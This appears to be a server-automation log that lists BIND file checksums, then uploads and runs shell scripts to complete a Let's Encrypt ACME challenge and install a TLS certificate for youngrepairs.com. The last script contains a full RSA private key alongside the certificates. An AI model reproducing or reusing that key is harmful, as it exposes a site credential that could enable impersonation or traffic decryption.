MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-29 19:48:55: Establishing a connection
2026-04-29 19:48:56: Establishing a connection
2026-04-29 19:48:56: 

PUT: /tmp/pkp720474

#!/bin/bash
if [ -d "/var/www/youngrepairs_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-29 19:48:56: 

chmod 755 /tmp/pkp720474; /tmp/pkp720474; rm /tmp/pkp720474

2026-04-29 19:48:56: 


1


2026-04-29 19:48:57: Establishing a connection
2026-04-29 19:48:57: 

PUT: /tmp/pkp175186

#!/bin/bash
mkdir -p "/var/www/youngrepairs_www/.well-known/acme-challenge/"
cd "/var/www/youngrepairs_www/.well-known/acme-challenge/"
cat > 1Rh0gK-W0JR9rSvCb6RUN3r_hr7t39hrKkhdU4fZCxs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
1Rh0gK-W0JR9rSvCb6RUN3r_hr7t39hrKkhdU4fZCxs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 1Rh0gK-W0JR9rSvCb6RUN3r_hr7t39hrKkhdU4fZCxs


2026-04-29 19:48:57: 

chmod 755 /tmp/pkp175186; /tmp/pkp175186; rm /tmp/pkp175186

2026-04-29 19:48:57: 




2026-04-29 19:49:01: Establishing a connection
2026-04-29 19:49:01: 

PUT: /tmp/pkp452394

#!/bin/bash
mkdir -p "/var/www/youngrepairs_www/.well-known/acme-challenge/"
cd "/var/www/youngrepairs_www/.well-known/acme-challenge/"
rm 1Rh0gK-W0JR9rSvCb6RUN3r_hr7t39hrKkhdU4fZCxs


2026-04-29 19:49:01: 

chmod 755 /tmp/pkp452394; /tmp/pkp452394; rm /tmp/pkp452394

2026-04-29 19:49:01: 




2026-04-29 19:49:01: Establishing a connection
2026-04-29 19:49:02: 

PUT: /tmp/pkp473500

#!/bin/bash
temp_file=$(mktemp)
TARGET=76526c88d7a3ad40c19457afe65bc2f6.crt

cat > $temp_file <<'endmsg'
16:ca:80:50:45:08:f2:ca:79:ce:2f:23:5b:61:f7:99

-----BEGIN CERTIFICATE-----
MIIE+zCCA+OgAwIBAgISBXWdIexBJ7zOljR2U85PbnbCMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDI5MTg1MDMwWhcNMjYwNzI4MTg1MDI5WjAbMRkwFwYDVQQD
ExB5b3VuZ3JlcGFpcnMuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA06yXv3rl6WVMnEZo6oFsvqZA1mRFuRd7CLYJ5CYJ4X8vCAxeVh5iIAzl6iXW
WBXvXvpey/hC9yAxIyI+z04hLbGixmDNXOSFEO78pfZfOUg5Mb+KB/ZusD9eQ6FL
jR0XMlxsFumHlTrcl39XKih3TnhGigG/9koKSivW9hkVcPoR9ZhtuCJ+2FlEMdsQ
8at0nYWXu76w65CD0yJwDvswnVGhneBYTECQuKArCyZMd1rPpOrPfVsbA8xBrk5W
gh8OHWKOSOF5r7+iSg67MemmbnxKiArUQ7Azu3ZRoVLtVvI4nws+70rvpY3mjb84
DoD1ZPUCWQmQwvBVz28AYVOlTwIDAQABo4ICHzCCAhswDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFKie
xWkhPeL1fBCr11WhpvFgh4EZMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiyhA47
1pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIQeW91bmdyZXBhaXJzLmNvbTATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iu
b3JnLzY3LmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB3AJROQ4f67MHvgfMZ
JCaoGGUBx9NfOAIBP3JnfVU3LhnYAAABndrJozcAAAQDAEgwRgIhAIm4L+0jq2j0
3zyR2+q7u6aMN7GRe1zoiG9blgwBZf9vAiEApHDqPG8dYLj6G/4N04ZcaiwrUE8H
qKLt5YRpWTDUF1EAfgBs/lAZQ6heqRa8UtEz5NzJHvFBHH0lhCDRc4CeGBjrOgAA
AZ3ayaReAAgAAAUACU0yDAQDAEcwRQIhAOmEPEDQmeiPsHI5QLcAHNYhcbLqEvHO
XsRXK+h/D+EqAiASzI7C9Hzru24fv4Jy+eNXnH0fRR7fOgf2vG02E6g7TDANBgkq
hkiG9w0BAQsFAAOCAQEAayfQdpK26GxZD7tLMNIVZa9MZ7hS2uwKFqfcx3Orxf6G
fGZJT9mfrfQg7XAVIWXqXUlcGvjiDnTug/xw56sbP1T3MPC8q+SLlEG5GJ5qQEQ3
JjHu6iE4CML9I+lF7+SUqWW4wEzbSAfzODDM8seKNR8vif8yuFjm/mrT+sdKPpyf
VG77/0sl0V+Te/LEGeNAZLtaXlWa+UdpklkeGXVB8Epz3XRBC31FQC4QAxFSYTEN
TOkzrdxN4I4o4/rDzvO/RBahp353PdyPvsQbK0Ch1rSSV4aG5TGlkW3CXYWCqRfM
Ib6ap05Ko0rLKrvssOTVnlfydKqLaU4KHlumBXkPEg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDTrJe/euXpZUyc
RmjqgWy+pkDWZEW5F3sItgnkJgnhfy8IDF5WHmIgDOXqJdZYFe9e+l7L+EL3IDEj
Ij7PTiEtsaLGYM1c5IUQ7vyl9l85SDkxv4oH9m6wP15DoUuNHRcyXGwW6YeVOtyX
f1cqKHdOeEaKAb/2SgpKK9b2GRVw+hH1mG24In7YWUQx2xDxq3SdhZe7vrDrkIPT
InAO+zCdUaGd4FhMQJC4oCsLJkx3Ws+k6s99WxsDzEGuTlaCHw4dYo5I4Xmvv6JK
Drsx6aZufEqICtRDsDO7dlGhUu1W8jifCz7vSu+ljeaNvzgOgPVk9QJZCZDC8FXP
bwBhU6VPAgMBAAECggEAIsIJCwK5xRkCuvie2r8U5bt0EyBVCJ8v707BEgsi/Tm+
tdIeHYMQttWXXVsINt+nNk/jiBfEm0LYfr3tVWotbYzpPyz/G91UcmLj7raljUjs
R1x95G/VXjCRoIZYWxwnRnhBsYN4ZYtMVL4uyHfrm2GJp7jA1kbzKJnJSxD0YeAJ
3q31RGTsyyXpUz6AsGWwd0TVDFMacWXnQA35amWR6EbJq3sq8lH0Ua2ejSUc+C/S
7sMtWjipGS3qwuHnr3CRHo6zfb/mwBPxotKNXs2sjPTZ69Y8iHTCY7m4S9AxnHB8
BaN6+pw20lA0AJS7mHJYbB7QrAuYLk1gj9ey/XFw3QKBgQDvkR7P0ukdFZlCh1zH
gE3z5PNwyWoPeLmdHLOJLhfUY6UgQxOHoEGvBLuHsQoHsPauT5DleRj7lvcPFo8H
Msxebdih37uiGxgcESXaeSEDQdrhD5ZwtCHTJTfV/V66TgtJFIrALEietWxMsYob
3gxxyd8Sxjdf0T3OGZ7bpNfVFQKBgQDiMaq6uwfZiLykHS6JmlHu1sZ0nMJ900US
++oCEmFle5A410b7kyCKANOcqUA45bm69R/FtLWPjlm2gTo/R7Rlaj9DGONRS4kq
QvGmtIAxZxfVhnxxxRLGoMefiVjBUpKkXc2jdA/y14iJy9LP0uuODL3UAYbDrJEN
EDcOeo4x0wKBgQCLrZ48Z+l5BrXUH15OB5XrxSrXMOhA2w/F9g0Lx68nK24EkHdb
lWmWpPi+FdAWSeyaF1QRJ3kUf6HOz0VXWhvkVsF/KBabXpbBDpJ2fjdsUcJPhKof
TjeGh2W1w8OudoCH/I0lnOw+dOMPGFjBBMdWtO/2X1G78SDLAQ8pW0RoPQKBgHmJ
kmEPSeJ69FGCVJUfVFLvGGdkK6UMNhtDPLOsSKUMxaulEMDwhxVf6FRPJPDtjuSD
/XRv6vad2FqWCUQjNS0g76kP4GS4H5WTruCSMCdba5UR1CAVckdD8L8qP4Rw59Zl
iK8BF+i2IulXmYiNnoAPHJij0VOmj7HjOpIPDAR9AoGBAIUK8NeFJCyw4pJ2UttG
vWFrRABmWRJ55mM/PYqd60ZRuj0lYHjhOKnfH923ebfC4XIZ3RqKvVa0zx11+3Xg
+mzsMDev1yEkyrFlN9f6VD1dv+Y35PYsGEscSw8gG4JqrhJJ49KFDA+KOYocrEWz
nIhCpPeWxm+EjXuzEyOmt22i
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
